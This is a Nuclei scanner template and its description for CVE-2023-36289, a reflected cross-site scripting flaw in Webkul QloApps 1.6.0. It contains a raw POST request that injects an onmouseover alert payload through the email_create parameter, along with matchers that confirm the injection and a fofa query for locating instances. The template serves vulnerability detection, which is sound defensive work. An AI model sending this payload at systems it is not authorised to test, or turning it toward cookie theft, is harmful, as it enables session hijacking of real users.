Webkul QloApps 1.6.0 - Cross-site Scripting

ID: CVE-2023-36289

Severity: medium

Author: theamanrawat

Tags: cve2023,cve,xss,webkul-qloapps,unauth,webkul

Description

An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user’s session cookie and then impersonate that user via POST email_create and back parameter.

YAML Source

id: CVE-2023-36289

info:
  name: Webkul QloApps 1.6.0 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST email_create and back parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/webkul/hotelcommerce
    - https://flashy-lemonade-192.notion.site/Cross-site-scripting-in-POST-Request-via-email_create-and-back-parameter-in-QloApps-1-6-0-e05548203d744daf9047d82fc94b19b7
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36289
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36289
    cwe-id: CWE-79
    epss-score: 0.0009
    epss-percentile: 0.38405
    cpe: cpe:2.3:a:webkul:qloapps:1.6.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: webkul
    product: qloapps
    fofa-query: title="qloapps"
  tags: cve2023,cve,xss,webkul-qloapps,unauth,webkul
variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SubmitCreate=1&ajax=true&back=my-account&controller=authentication&email={{email}}&email_create={{email}}"%20onmouseover=alert(document.domain)%20y=&token={{randstr}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover=alert(document.domain)'
          - 'hasConfirmation'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b8428263a0abb27a11bba4a9c406c217be2546d9c14262cdae5f48286bfb9c47022100e422811d3daa862e7df3c0420e27cd9b19a5a3d6805635a52f1434c03c0e275b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-36289.yaml"

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